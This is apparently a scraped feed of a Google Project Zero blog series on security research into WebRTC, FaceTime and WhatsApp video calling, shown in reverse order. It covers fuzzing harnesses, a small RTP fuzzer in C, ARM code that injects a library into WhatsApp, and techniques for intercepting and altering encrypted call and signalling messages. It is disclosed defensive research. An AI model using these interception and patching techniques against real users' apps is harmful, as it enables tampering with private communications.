It is also advisable to avoid branching existing video conferencing code. We have received questions from vendors who have branched WebRTC, and it is clear that this makes patching vulnerabilities more difficult. While branching can solve problems in the short term, integrators often regret it in the long term.
It is important to have a patch strategy when implementing video conferencing, as there will inevitably be vulnerabilities found in any implementation that is used. Developers should understand how security patches are distributed for any third-party library they integrate, and have a plan for applying them as soon as they are available.
It is also important to have adequate test tools for a video conferencing application, even if a third-party implementation is used. It is a good idea to have a way to reproduce a call from end to end. This is useful in diagnosing crashes, which could have a security impact, as well as functional problems.
Several mobile applications we looked at had unnecessary attack surface. Specifically codecs and other features of the video conferencing implementation were enabled and accessible via RTP even though no legitimate call would ever use them. WebRTC and PJSIP support disabling specific features such as codecs and FEC. It is a good idea to disable the features that are not being used.
Finally, video conferencing vulnerabilities can generally be split into those that require the target to answer the incoming call, and those that do not. Vulnerabilities that do not require the call to be answered are more dangerous. We observed that some video conferencing applications perform much more parsing of untrusted data before a call is answered than others. We recommend that developers put as much functionality after the call is answered as possible.Tools
In order to open up the most popular video conferencing implementations to more security research, we are releasing the tools we developed to do this research. Street Party is a suite of tools that allows the RTP streams of video conferencing implementations to be viewed and modified. It includes:
  • WebRTC: instructions for recording and replaying RTP packets using WebRTC’s existing tools
  • FaceTime: hooks for recording and replaying FaceTime calls
  • WhatsApp: hooks for recording and replaying WhatsApp calls on Android

We hope these tools encourage even more investigation into the security properties of video conferencing. Contributions are welcome.Conclusion
We reviewed WebRTC, FaceTime and WhatsApp and found 11 serious vulnerabilities in their video conferencing implementations. Accessing and altering their encrypted content streams required substantial tooling. We are releasing this tooling to enable additional security research on these targets. There are many properties of video conferencing that make it susceptible to vulnerabilities. Adequate testing, conservative design and frequent patching can reduce the security risk of video conferencing implementations.
Categories: Security

Adventures in Video Conferencing Part 4: What Didn't Work Out with WhatsApp

Google Project Zero - Wed, 12/12/2018 - 13:54
Posted by Natalie Silvanovich, Project Zero
Not every attempt to find bugs is successful. When looking at WhatsApp, we spent a lot of time reviewing call signalling hoping to find a remote, interaction-less vulnerability. No such bugs were found. We are sharing our work with the hopes of saving other researchers the time it took to go down this very long road. Or maybe it will give others ideas for vulnerabilities we didn’t find.
As discussed in Part 1, signalling is the process through which video conferencing peers initiate a call. Usually, at least part of signalling occurs before the receiving peer answers the call. This means that if there is a vulnerability in the code that processes incoming signals before the call is answered, it does not require any user interaction.
WhatsApp implements signalling using a series of WhatsApp messages. Opening libwhatsapp.so in IDA, there are several native calls that handle incoming signalling messages.
Java_com_whatsapp_voipcalling_Voip_nativeHandleCallOfferJava_com_whatsapp_voipcalling_Voip_nativeHandleCallOfferAckJava_com_whatsapp_voipcalling_Voip_nativeHandleCallGroupInfoJava_com_whatsapp_voipcalling_Voip_nativeHandleCallRekeyRequestJava_com_whatsapp_voipcalling_Voip_nativeHandleCallFlowControlJava_com_whatsapp_voipcalling_Voip_nativeHandleCallOfferReceiptJava_com_whatsapp_voipcalling_Voip_nativeHandleCallAcceptReceiptJava_com_whatsapp_voipcalling_Voip_nativeHandleCallOfferAcceptJava_com_whatsapp_voipcalling_Voip_nativeHandleCallOfferPreAcceptJava_com_whatsapp_voipcalling_Voip_nativeHandleCallVideoChangedJava_com_whatsapp_voipcalling_Voip_nativeHandleCallVideoChangedAckJava_com_whatsapp_voipcalling_Voip_nativeHandleCallOfferRejectJava_com_whatsapp_voipcalling_Voip_nativeHandleCallTerminateJava_com_whatsapp_voipcalling_Voip_nativeHandleCallTransportJava_com_whatsapp_voipcalling_Voip_nativeHandleCallRelayLatencyJava_com_whatsapp_voipcalling_Voip_nativeHandleCallRelayElectionJava_com_whatsapp_voipcalling_Voip_nativeHandleCallInterruptedJava_com_whatsapp_voipcalling_Voip_nativeHandleCallMutedJava_com_whatsapp_voipcalling_Voip_nativeHandleWebClientMessage
Using apktool to extract the WhatsApp APK, it appears these natives are called from a loop in the com.whatsapp.voipcalling.Voip class. Looking at the smali, it looks like signalling messages are sent as WhatsApp messages via the WhatsApp server, and this loop handles the incoming messages.
Immediately, I noticed that there was a peer-to-peer encrypted portion of the message (the rest of the message is only encrypted peer-to-server). I thought this had the highest potential of reaching bugs, as the server would not be able to sanitize the data. In order to be able to read and alter encrypted packets, I set up a remote server with a python script that opens a socket. Whenever this socket receives data, the data is displayed on the screen, and I have the option of either sending the unaltered packet or altering the packet before it is sent. I then looked for the point in the WhatsApp smali where messages are peer-to-peer encrypted.
Since WhatsApp uses libsignal for peer-to-peer encryption, I was able to find where messages are encrypted by matching log entries. I then added smali code that sends a packet with the bytes of the message to the server I set up, and then replaces it with the bytes the server returns (changing the size of the byte array if necessary). This allowed me to view and alter the peer-to-peer encrypted message. Making a call using this modified APK, I discovered that the peer-to-peer message was always exactly 24 bytes long, and appeared to be random. I suspected that this was the encryption key used by the call, and confirmed this by looking at the smali.
A single encryption key doesn’t have a lot of potential for malformed data to lead to bugs (I tried lengthening and shortening it to be safe, but got nothing but unexploitable null pointer issues), so I moved on to looking at the peer-to-server encrypted messages. Looking at the Voip loop in smali, it looked like the general flow is that the device receives an incoming message, it is deserialized and if it is of the right type, it is forwarded to the messaging loop. Then certain properties are read from the message, and it is forwarded to a processing function based on its type. Then the processing function reads even more properties, and calls one of the above native methods with the properties as its parameters. Most of these functions have more than 20 parameters.
Many of these functions perform logging when they are called, so by making a test call, I could figure out which functions get called before a call is picked up. It turns out that during a normal incoming call, the device only receives an offer and calls Java_com_whatsapp_voipcalling_Voip_nativeHandleCallOffer, and then spawns the incoming call screen in WhatsApp. All the other signal types are not used until the call is picked up.
An immediate question I had was whether other signal types are processed if they are received before a call is picked up. Just because the initiating device never sends these signal types before the call is picked up doesn’t mean the receiving device wouldn’t process them if it received them.
Looking through the APK smali, I found the class com.whatsapp.voipcalling.VoiceService$DefaultSignalingCallback that has several methods like sendOffer and sendAccept that appeared to send the messages that are processed by these native calls. I changed sendOffer to call other send methods, like sendAccept instead of its normal messaging functionality. Trying this, I discovered that the Voip loop will process any signal type regardless of whether the call has been answered. The native methods will then parse the parameters, process them and put the results in a buffer, and then call a single method to process the buffer. It is only at that point processing will stop if the message is of the wrong type.I then reviewed all of the above methods in IDA. The code was very conservatively written, and most needed checks were performed. However, there were a few areas that potentially had bugs that I wanted to investigate more. I decided that changing the parameters to calls in the com.whatsapp.voipcalling.VoiceService$DefaultSignalingCallback was too slow to test the number of cases I wanted to test, and went looking for another way to alter the messages.
Ideally, I wanted a way to pass peer-to-server encrypted messages to my server before they were sent, so I could view and alter them. I went through the WhatsApp APK smali looking for a point after serialization but before encryption where I could add my smali function that sends and alters the packets. This was fairly difficult and time consuming, and I eventually put my smali in every method that wrote to a non-file ByteArrayOutputStream in the com.whatsapp.protocol and com.whatsapp.messaging packages (about 10 total) and looked for where it got called. I figured out where it got called, and fixed the class so that anywhere a byte array was written out from a stream, it got sent to my server, and removed the other calls. (If you’re following along at home, the smali file I changed included the string “Double byte dictionary token out of range”, and the two methods I changed contained calls to toByteArray, and ended with invoking a protocol interface.) Looking at what got sent to my server, it seemed like a reasonably comprehensive collection of WhatsApp messages, and the signalling messages contained what I thought they would.
WhatsApp messages are in a compressed XMPP format. A lot of parsers have been written for reverse engineering this protocol, but I found the whatsapp-reveng parser worked the best. I did have to replace the tokens in whatsapp_defines.py with a list extracted from the APK for it to work correctly though. This made it easier to figure out what was in each packet sent to the server.
Playing with this a bit, I discovered that there are three types of checks in WhatsApp signalling messages. First, the server validates and modifies incoming signalling messages. Secondly, the messages are deserialized, and this can cause errors if the format is incorrect, and generally limits the contents of the Java message object that is passed on. Finally, the native methods perform checks on their parameters.
These additional checks prevented several of the areas I thought were problems from actually being problems. For example, there is a function called by Java_com_whatsapp_voipcalling_Voip_nativeHandleCallOffer that takes in an array of byte arrays, an array of integers and an array of booleans. It uses these values to construct candidates for the call. It checks that the array of byte arrays and the array of integers are of the same length before it loops through them, using values from each, but it does not perform the same check on the boolean array. I thought that this could go out of bounds, but it turns out that the integer and booleans are serialized as a vector of <int,bool> pairs, and the arrays are then copied from the vector, so it is not actually possible to send arrays with different lengths.
One area of the signalling messages that looked especially concerning was the voip_options field of the message. This field is never sent from the sending device, but is added to the message by the server before it is forwarded to the receiving device. It is a buffer in JSON format that is processed by the receiving device and contains dozens of configuration parameters.
{"aec":{"offset":"0","mode":"2","echo_detector_mode":"4","echo_detector_impl":"2","ec_threshold":"50","ec_off_threshold":"40","disable_agc":"1","algorithm":{"use_audio_packet_rate":"1","delay_based_bwe_trendline_filter_enabled":"1","delay_based_bwe_bitrate_estimator_enabled":"1","bwe_impl":"5"},"aecm_adapt_step_size":"2"},"agc":{"mode":"0","limiterenable":"1","compressiongain":"9","targetlevel":"1"},"bwe":{"use_audio_packet_rate":"1","delay_based_bwe_trendline_filter_enabled":"1","delay_based_bwe_bitrate_estimator_enabled":"1","bwe_impl":"5"},"encode":{"complexity":"5","cbr":"0"},"init_bwe":{"use_local_probing_rx_bitrate":"1","test_flags":"982188032","max_tx_rott_based_bitrate":"128000","max_bytes":"8000","max_bitrate":"350000"},"ns":{"mode":"1"},"options":{"connecting_tone_desc": "test","video_codec_priority":"2","transport_stats_p2p_threshold":"0.5","spam_call_threshold_seconds":"55","mtu_size":"1200","media_pipeline_setup_wait_threshold_in_msec":"1500","low_battery_notify_threshold":"5","ip_config":"1","enc_fps_over_capture_fps_threshold":"1","enable_ssrc_demux":"1","enable_preaccept_received_update":"1","enable_periodical_aud_rr_processing":"1","enable_new_transport_stats":"1","enable_group_call":"1","enable_camera_abtest_texture_preview":"1","enable_audio_video_switch":"1","caller_end_call_threshold":"1500","call_start_delay":"1200","audio_encode_offload":"1","android_call_connected_toast":"1"}Sample voip_options (truncated)
If a peer could send a voip_options parameter to another peer, it would open up a lot of attack surface, including a JSON parser and the processing of these parameters. Since this parameter almost always appears in an offer, I tried modifying an offer to contain one, but the offer was rejected by the WhatsApp server with error 403. Looking at the binary, there were three other signal types in the incoming call flow that could accept a voip_options parameter. Java_com_whatsapp_voipcalling_Voip_nativeHandleCallOfferAccept and Java_com_whatsapp_voipcalling_Voip_nativeHandleCallVideoChanged were accepted by the server if a voip_options parameter was included, but it was stripped before the message was sent to the peer. However, if a voip_options parameter was attached to a Java_com_whatsapp_voipcalling_Voip_nativeHandleCallGroupInfo message, it would be forwarded to the peer device. I confirmed this by sending malformed JSON looking at the log of the receiving device for an error.
The voip_options parameter is processed by WhatsApp in three stages. First, the JSON is parsed into a tree. Then the tree is transformed to a map, so JSON object properties can be looked up efficiently even though there are dozens of them. Finally, WhatsApp goes through the map, looking for specific parameters and processes them, usually copying them to an area in memory where they will set a value relevant to the call being made.
Starting off with the JSON parser, it was clearly the PJSIP JSON parser. I compiled the code and fuzzed it, and only found one minor out-of-bounds read issue.
I then looked at the conversion of the JSON tree output from the parser into the map. The map is a very efficient structure. It is a hash map that uses FarmHash as its hashing algorithm, and it is designed so that the entire map is stored in a single slab of memory, even if the JSON objects are deeply nested. I looked at many open source projects that contained similar structures, but could not find one that looked similar. I looked through the creation of this structure in great detail, looking especially for type confusion bugs as well as errors when the memory slab is expanded, but did not find any issues.
I also looked at the functions that go through the map and handle specific parameters. These functions are extremely long, and I suspect they are generated using a code generation tool such as bison. They mostly copy parameters into static areas of memory, at which point they become difficult to trace. I did not find any bugs in this area either. Other than going through parameter names and looking for value that seemed likely to cause problems, I did not do any analysis of how the values fetched from JSON are actually used. One parameter that seemed especially promising was an A/B test parameter called setup_video_stream_before_accept. I hoped that setting this would allow the device to accept RTP before the call is answered, which would make RTP bugs interaction-less, but I was unable to get this to work.
In the process of looking at this code, it became difficult to verify its functionality without the ability to debug it. Since WhatsApp ships an x86 library for Android, I wondered if it would be possible to run the JSON parser on Linux.
Tavis Ormandy created a tool that can load the libwhatsapp.so library on Linux and run native functions, so long as they do not have a dependency on the JVM. It works by patching the .dynamic ELF section to remove unnecessary dependencies by replacing DT_NEEDED tags with DT_DEBUG tags. We also needed to remove constructors and deconstructors by changing the DT_FINI_ARRAYSZ and DT_INIT_ARRAYSZ to zero. With these changs in place, we could load the library using dlopen() and use dlsym() and dlclose() as normal.
Using this tool, I was able to look at the JSON parsing in more detail. I also set up distributed fuzzing of the JSON binary. Unfortunately, it did not uncover any bugs either.
Overall, WhatsApp signalling seemed like a promising attack surface, but we did not find any vulnerabilities in it. There were two areas where we were able to extend the attack surface beyond what is used in the basic call flow. First, it was possible to send signalling messages that should only be sent after a call is answered before the call is answered, and they were processed by the receiving device. Second, it was possible for a peer to send voip_options JSON to another device. WhatsApp could reduce the attack surface of signalling by removing these capabilities.
I made these suggestions to WhatsApp, and they responded that they were already aware of the first issue as well as variants of the second issue. They said they were in the process of limiting what signalling messages can be processed by the device before a call is answered. They had already fixed other issues where a peer can send voip_options JSON to another peer, and fixed the method I reported as well. They said they are also considering adding cryptographic signing to the voip_options parameter so a device can verify it came from the server to further avoid issues like this. We appreciate their quick resolution of the voip_options issue and strong interest in implementing defense-in-depth measures.
In Part 5, we will discuss the conclusions of our research and make recommendations for better securing video conferencing.
Categories: Security

Adventures in Video Conferencing Part 3: The Even Wilder World of WhatsApp

Google Project Zero - Tue, 12/11/2018 - 12:42
Posted by Natalie Silvanovich, Project Zero
WhatsApp is another application that supports video conferencing that does not use WebRTC as its core implementation. Instead, it uses PJSIP, which contains some WebRTC code, but also contains a substantial amount of other code, and predates the WebRTC project. I fuzzed this implementation to see if it had similar results to WebRTC and FaceTime.Fuzzing Set-upPJSIP is open source, so it was easy to identify the PJSIP code in the Android WhatsApp binary (libwhatsapp.so). Since PJSIP uses the open source library libsrtp, I started off by opening the binary in IDA and searching for the string srtp_protect, the name of the function libsrtp uses for encryption. This led to a log entry emitted by a function that looked like srtp_protect. There was only one function in the binary that called this function, and called memcpy soon before the call. Some log entries before the call contained the file name srtp_transport.c, which exists in the PJSIP repository. The log entries in the WhatsApp binary say that the function being called is transport_send_rtp2 and the PJSIP source only has a function called transport_send_rtp, but it looks similar to the function calling srtp_protect in WhatsApp, in that it has the same number of calls before and after the memcpy. Assuming that the code in WhatsApp is some variation of that code, the memcpy copies the entire unencrypted packet right before it is encrypted.
Hooking this memcpy seemed like a possible way to fuzz WhatsApp video calling. I started off by hooking memcpy for the entire app using a tool called Frida. This tool can easily hook native function in Android applications, and I was able to see calls to memcpy from WhatsApp within minutes. Unfortunately though, video conferencing is very performance sensitive, and a delay sending video packets actually influences the contents of the next packet, so hooking every memcpy call didn’t seem practical. Instead, I decided to change the single memcpy to point to a function I wrote.
I started off by writing a function in assembly that loaded a library from the filesystem using dlopen, retrieved a symbol by calling dlsym and then called into the library. Frida was very useful in debugging this, as it could hook calls to dlopen and dlsym to make sure they were being called correctly. I overwrote a function in the WhatsApp GIF transcoder with this function, as it is only used in sending text messages, which I didn’t plan to do with this altered version. I then set the memcpy call to point to this function instead of memcpy, using this online ARM branch finder.
sub_2F8CCMOV             X21, X30MOV             X22, X0MOV             X23, X1MOV             X20, X2MOV             X1, #1ADRP            X0, #aDataDataCom_wh@PAGE ; "/data/data/com.whatsapp/libn.so"ADD             X0, X0, #aDataDataCom_wh@PAGEOFF ; "/data/data/com.whatsapp/libn.so"BL              .dlopenADRP            X1, #aApthread@PAGE ; "apthread"ADD             X1, X1, #aApthread@PAGEOFF ; "apthread"BL              .dlsymMOV             X8, X0MOV             X0, X22MOV             X1, X23MOV             X2, X20NOPBLR             X8MOV             X30, X21RETThe library loading function
I then wrote a library for Android which had the same parameters as memcpy, but fuzzed and copied the buffer instead of just copying it, and put it on the filesystem where it would be loaded by dlopen. I then tried making a WhatsApp call with this setup. The video call looked like it was being fuzzed and crashed in roughly fifteen minutes.Replay Set-up
To replay the packets I added logging to the library, so that each buffer that was altered would also be saved to a file. Then I created a second library that copied the logged packets into the buffer being copied instead of altering it. This required modifying the WhatsApp binary slightly, because the logged packet will usually not be the same size as the packet currently being sent. I changed the length of the hooked memcpy to be passed by reference instead of by value, and then had the library change the length to the length of the logged packet. This changed the value of the length so that it would be correct for the call to srtp_protect. Luckily, the buffer that the packet is copied into is a fixed length, so there is no concern that a valid packet will overflow the buffer length. This is a common design pattern in RTP processing that improves performance by reducing length checks. It was also helpful in modifying FaceTime to replay packets of varying length, as described in the previous post.
This initial replay setup did not work, and looking at the logged packets, it turned out that WhatsApp uses four streams with different SSRCs for video conferencing (possibly one for video, one for audio, one for synchronization and one for good luck). The streams each had only one payload type, and they were all different, so it was fairly easy to map each SSRC to its stream. So I modified the replay library to determine the current SSRC for each stream based on the payload types of incoming packets, and then to replace the SSRC of the replayed packets with the correct one based on their payload type. This reliably replayed a WhatsApp call. I was then able to fuzz and reproduce crashes on WhatsApp.ResultsUsing this setup, I reported one heap corruption issue on WhatsApp, CVE-2018-6344. This issue has since been fixed. After this issue was resolved, fuzzing did not yield any additional crashes with security impact, and we moved on to other methodologies. Part 4 will describe our other (unsuccessful) attempts to find vulnerabilities in WhatsApp.
Categories: Security

Adventures in Video Conferencing Part 2: Fun with FaceTime

Google Project Zero - Wed, 12/05/2018 - 13:43
Posted by Natalie Silvanovich, Project Zero
FaceTime is Apple’s video conferencing application for iOS and Mac. It is closed source, and does not appear to use any third-party libraries for its core functionality. I wondered whether fuzzing the contents of FaceTime’s audio and video streams would lead to similar results as WebRTC.Fuzzing Set-up
Philipp Hancke performed an excellent analysis of FaceTime’s architecture in 2015. It is similar to WebRTC, in that it exchanges signalling information in SDP format and then uses RTP for audio and video streams. Looking at the FaceTime implementation on a Mac, it seemed the bulk of the calling functionality of FaceTime is in a daemon called avconferenced. Opening up the binary that supports its functionality, AVConference in IDA, it contains a function called SRTPEncryptData. This function then calls CCCryptorUpdate, which appeared to encrypt RTP packets below the header.
To do a quick test of whether fuzzing was likely to be effective, I hooked this function and altered the underlying encrypted data. Normally, this can be done by setting the DYLD_INSERT_LIBRARIES environment variable, but since avconferenced is a daemon that restarts automatically when it dies, there wasn’t an easy way to set an environment variable. I eventually used insert_dylib to alter the AVConference binary to load a library on startup, and restarted the process. The library loaded used DYLD_INTERPOSE to replace CCCryptorUpdate with a version that fuzzed every input buffer (using fuzzer q from Part 1) before it was processed. This implementation had a lot of problems: it fuzzed both encryption and decryption, it affected every call to CCCryptorUpdate from avconferenced, not just ones involved in SRTP and there was no way to reproduce a crash. But using the modified FaceTime to call an iPhone led to video output that looked corrupted, and the phone crashed in a few minutes. This confirmed that this function was indeed where FaceTime calls are encrypted, and that fuzzing was likely to find bugs.
I made a few changes to the function that hooked CCCryptorUpdate to attempt to solve these problems. I limited fuzzing the input buffer to the two threads that write audio and video output to RTP, which also solved the problem of decrypted packets being fuzzed, as these threads only ever encrypt. I then added functionality that wrote the encrypted, fuzzed contents of each packet to a series of log files, so that test cases could be replayed. This required altering the sandbox of avconferenced so that it could write files to the log location, and adding spinlocks to the hook, as calling CCCryptorUpdate is thread safe, but logging packets isn’t. Call Replay
I then wrote a second library that hooks CCCryptorUpdate and replays packets logged by the first library by copying the logged packets in sequence into the packet buffers passed into the function. Unfortunately, this required a small modification to the AVConference binary, as the SRTPEncryptData function does not respect the length returned by CCCryptorUpdate; instead, it assumes that the length of the encrypted data is the same as the length as the plaintext data, which is reasonable when CCCryptorUpdate isn’t being hooked. Since SRTPEncryptData always uses a large fixed-size buffer for encryption, and encryption is in-place, I changed the function to retrieve the length of the encrypted buffer from the very end of the buffer, which was set in the hooked CCCryptorUpdate call. This memory is unlikely to be used for other purposes due to the typical shorter length of RTP packets. Unfortunately though, even though the same encrypted data was being replayed to the target, it wasn’t being processed correctly by the receiving device.
To understand why requires an explanation of how RTP works. An RTP packet has the following format.

It contains several fields that impact how its payload is interpreted. The SSRC is a random identifier that identifies a stream. For example, in FaceTime the audio and video streams have different SSRCs. SSRCs can also help differentiate between streams in a situation where a user could potentially have an unlimited number of streams, for example, multiple participants in a video call. RTP packets also have a payload type (PT in the diagram) which is used to differentiate different types of data in the payload. The payload type for a certain data type is consistent across calls. In FaceTime, the video stream has a single payload type for video data, but the audio stream has two payload types, likely one for audio data and the other for synchronization. The marker (M in the diagram) field of RTP is also used by FaceTime to represent when a packet is fragmented, and needs to be reassembled.
From this it is clear that simply copying logged data into the current encrypted packet won’t function correctly, because the data needs to have the correct SSRC, payload type and marker, or it won’t be interpreted correctly. This wasn’t necessary in WebRTC, because I had enough control over WebRTC that I could create a connection with a single SSRC and payload type for fuzzing purposes. But there is no way to do this in FaceTime, even muting a video call leads to silent audio packets being sent as opposed to the audio stream shutting down. So these values needed to be manually corrected.
An RTP feature called extensions made correcting these fields difficult. An extension is an optional header that can be added to an RTP packet. Extensions are not supposed to depend on the RTP payload to be interpreted, and extensions are often used to transmit network or display features. Some examples of supported extensions include the orientation extension, which tells the endpoint the orientation of the receiving device and the mute extension, which tells the endpoint whether the receiving device is muted.
Extensions mean that even if it is possible to determine the payload type, marker and SSRC of data, this is not sufficient to replay the exact packet that was sent. Moreover, FaceTime creates extensions after the packet is encrypted, so it is not possible to create the complete RTP packet by hooking CCCryptorUpdate, because extensions could be added later.
At this point, it seemed necessary to hook sendmsg as well as CCCryptorUpdate. This would allow the outgoing RTP header to be modified once it is complete. There were a few challenges in doing this. To start, audio and video packets are sent by different threads in FaceTime, and can be reordered between the time they are encrypted and the time they are sent by sendmsg. So I couldn’t assume that if sendmsg received an RTP packet that it was necessarily the last one that was encrypted. There was also the problem that SSRCs are dynamic, so replaying an RTP packet with the same SSRC it is recorded with won’t work, it needs to have the new SSRC for the audio or video stream.
Note that in MacOS Mojave, FaceTime can call sendmsg via either the AVConference binary or the IDSFoundation binary, depending on the network configuration. So to capture and replay unencrypted RTP traffic on newer systems, it is necessary  to hook CCCryptorUpdate in AConference and sendmsg in IDSFoundation (AVConference calls into IDSFoundation when it calls sendmsg). Otherwise, the process is the same as on older systems.
I ended up implementing a solution that recorded packets by recording the unencrypted payload, and then recorded its RTP header, and using a snippet of the encrypted payload to pair headers with the correct unencrypted payload. Then to replay packets, the packets encrypted in CCCryptorUpdate were replaced with the logged packets, and once the encrypted payload came through to sendmsg, the header was replaced with the logged one for that payload. Fortunately, the two streams with unique SSRCs used by FaceTime do not share any payload types, so it was possible to determine the new SSRC for each stream by waiting for an incoming packet with the correct payload type. Then in each subsequent packet, the SSRC was replaced with the correct one.
Unfortunately, this still did not replay a FaceTime call correctly, and calls often experienced decryption failures. I eventually determined that audio and video on FaceTime are encrypted with different keys, and updated the replay script to queue the CCCryptor used by CCCryptorUpdate function based on whether it was audio or video content. Then in sendmsg, the entire logged RTP packet, including the unencrypted payload, was copied into the outgoing packet, the SSRC was fixed, and then the payload encrypted with the next CCCryptor out of the appropriate queue. If a CCCryptor wasn’t available, outgoing packets were dropped until a new one was created. At this point, it was possible to stop using the modified AVConference binary, as all the packet modification was now happening in sendmsg. This implementation still had reliability problems.
Digging more deeply into how FaceTime encryption works, packets are encrypted in CTS mode, which requires a counter. The counter is initialized to a unique value for each packet that is sent. During the initialization of the RTP stream, the peers exchange two 16-byte random tokens, one for audio and one for video. The counter value for each packet is then calculated by exclusive or-ing the token with several values found in the packet, including the SSRC and the sequence number. Only one value in this calculation, the sequence number, changes between each packet. So it is possible to calculate the counter value for each packet by knowing the initial counter value and sequence number, which can be retrieved by hooking CCCryptorCreateWithMode. The sequence number is xor-ed with the random token at index 0x12 when FaceTime constructs a counter, so by xor-ing this location with the initial sequence number and then a packet’s sequence number, the counter value for that packet can be calculated. The key can also be retrieved by hooking CCCryptorCreateWithMode.This allowed me to dispense with queuing cryptors, as I now had all the information I needed to construct a cryptor for any packet. This allowed for packets to be encrypted faster and more accurately.
Sequence numbers still posed a problem though, as the initial sequence number of an RTP stream is randomly generated at the beginning of the call, and is different between subsequent calls. Also, sequence numbers are used to reconstruct video streams in order, so they need to be correct. I altered the replay tool determine the starting sequence number of each stream, and then calculate the difference between the starting sequence number of each logged stream and the sequence number of the logged packet and then add it to this value. These two changes finally made the replay tool work, though replay gets slower and slower as a stream is replayed due to dropped packets.   
Results
Using this setup, I was able to fuzz FaceTime calls and reproduce the crashes. I reported three bugs in FaceTime based on this work. All these issues have been fixed in recent updates.
CVE-2018-4366 is an out-of-bounds read in video processing that occurs on Macs only.
CVE-2018-4367 is a stack corruption vulnerability that affects iOS and Mac. There are a fair number of variables on the stack of the affected function before the stack cookie, and several fuzz crashes due to this issue caused segmentation faults as opposed to stack_chk crashes, so it is likely exploitable.
CVE-2018-4384 is a kernel heap corruption issue in video processing that affects iOS. It is likely similar to this vulnerability found by Adam Donenfeld of Zimperium.
All of these issues took less than 15 minutes of fuzzing to find on a live device. Unfortunately, this was the limit of fuzzing that could be performed on FaceTime, as it would be difficult to create a command line fuzzing tool with coverage like we did for WebRTC as it is closed source.
In Part 3, we will look at video calling in WhatsApp.
Categories: Security

Adventures in Video Conferencing Part 1: The Wild World of WebRTC

Google Project Zero - Tue, 12/04/2018 - 14:40
Posted by Natalie Silvanovich, Project Zero
Over the past five years, video conferencing support in websites and applications has exploded. Facebook, WhatsApp, FaceTime and Signal are just a few of the many ways that users can make audio and video calls across networks. While a lot of research has been done into the cryptographic and privacy properties of video conferencing, there is limited information available about the attack surface of these platforms and their susceptibility to vulnerabilities. We reviewed the three most widely-used video conferencing implementations. In this series of blog posts, we describe what we found.
This part will discuss our analysis of WebRTC. Part 2 will cover our analysis of FaceTime. Part 3 will discuss how we fuzzed WhatsApp. Part 4 will describe some attacks against WhatsApp that didn’t work out. And finally, Part 5 will discuss the future of video conferencing and steps that  developers can take to improve the security of their implementation.Typical Video Conferencing Architecture
All the video conferencing implementations we investigated allow at least two peers anywhere on the Internet to communicate through audiovisual streams. Implementing this capability so that it is reliable and has good audio and video quality presents several challenges. First, the peers need to be able to find each other and establish a connection regardless of NATs or other network infrastructure. Then they need to be able to communicate, even though they could be on different platforms, application versions or browsers. Finally, they need to maintain audio and video quality, even if the connection is low-bandwidth or noisy.
Almost all video conferencing solutions have converged on a single architecture. It assumes that two peers can communicate via a secure, integrity checked channel which may have low bandwidth or involve an intermediary server, and it allows them to create a faster, higher-bandwidth peer-to-peer channel.
The first stage in creating a connection is called signalling. It is the process through which the two peers exchange the information they will need to create a connection, including network addresses, supported codecs and cryptographic keys. Usually, the calling peer sends a call request including information about itself to the receiving peer, and then the receiving peer responds with similar information. SDP is a common protocol for exchanging this information, but it is not always used, and most implementations do not conform to the specification. It is common for mobile messaging apps to send this information in a specially formatted message, sent through the same channel text messages are sent. Websites that support video conferencing often use WebSockets to exchange information, or exchange it via HTTPS using the webserver as an intermediary.
Once signalling is complete, the peers find a way to route traffic to each other using the STUN, TURN and ICE protocols. Based on what these protocols determine, the peers can create UDP, UDP-over-STUN and occasionally TCP connections based of what is favorable for the network conditions.
Once the connection has been made, the peers communicate using Real-time Transport Protocol. Though this protocol is standardized, most implementations deviate somewhat from the standard. RTP can be encrypted using a protocol called Secure RTP (SRTP), and some implementations also encrypt streams using DTLS. Under the encryption envelope, RTP supports features that allow multiple streams and formats of data to be exchanged simultaneously. Then, based on how RTP classifies the data, it is passed on to other processing, such as video codecs.  Stream Control Transmission Protocol (SCTP) is also sometimes used to exchange small amounts of data (for example a text message on top of a call) during video conferencing, but it is less commonly used than RTP.
Even when it is encrypted, RTP often doesn’t include integrity protection, and if it does, it usually doesn’t discard malformed packets. Instead, it attempts to recover them using strategies such as Forward Error Correction (FEC). Most video conferencing solutions also detect when a channel is noisy or low-bandwidth and attempt to handle the situation in a way that leads to the best audio and video quality, for example, sending fewer frames or changing codecs. Real Time Control Protocol (RTCP) is used to exchange statistics on network quality and coordinate adjusting properties of RTP streams to adapt to network conditions.WebRTC
WebRTC is an open source project that enables video conferencing. It is by far the most commonly used implementation. Chrome, Safari, Firefox, Facebook Messenger, Signal and many other mobile applications use WebRTC. WebRTC seemed like a good starting point for looking at video conferencing as it is heavily used, open source and reasonably well-documented.WebRTC Signalling
I started by looking at WebRTC signalling, because it is an attack surface that does not require any user interaction. Protocols like RTP usually start being processed after a user has picked up the video call, but signalling is performed before the user is notified of the call. WebRTC uses SDP for signalling.
I reviewed the WebRTC SDP parser code, but did not find any bugs. I also compiled it so it would accept an SDP file on the commandline and fuzzed it, but I did not find any bugs through fuzzing either. I later discovered that WebRTC signalling is not implemented consistently across browsers anyhow. Chrome uses the main WebRTC implementation, Safari has branched slightly and Firefox uses their own implementation. Most mobile applications that use WebRTC implement their own signalling in a protocol that is not SDP as well. So it is not likely that a bug in WebRTC signalling would affect a wide variety of targets.
RTP Fuzzing
I then decided to look at how RTP is processed in WebRTC. While RTP is not an interaction-less attack surface because the user usually has to answer the call before RTP traffic is processed, picking up a call is a reasonable action to expect a user to take. I started by looking at the WebRTC source, but it is very large and complex, so I decided fuzzing would be a better approach.
The WebRTC repository contains fuzzers written for OSS-Fuzz for every protocol and codec supported by WebRTC, but they do not simulate the interactions between the various parsers, and do not maintain state between test cases, so it seemed likely that end-to-end fuzzing would provide additional coverage.
Setting up end-to-end fuzzing was fairly time intensive, so to see if it was likely to find many bugs, I altered Chrome to send malformed RTP packets. I changed the srtp_protect function in libsrtp so that it ran the following fuzzer on every packet:
void fuzz(char* buf, int len){
int q = rand()%10;
if (q == 7){ int ind = rand()%len; buf[ind] = rand(); }
if(q == 5){ for(int i = 0; i < len; i++) buf[i] = rand();
}RTP fuzzer (fuzzer q)
When this version was used to make a WebRTC call to an unmodified instance of Chrome, it crashed roughly every 30 seconds.
Most of the crashes were due to divide-by-zero exceptions, which I submitted patches for, but there were three interesting crashes. I reproduced them by altering the WebRTC source in Chrome so that it would generate the packets that caused the same crashes, and then set up a standalone build of WebRTC to reproduce them, so that it was not necessary to rebuild Chrome to reproduce the issues.
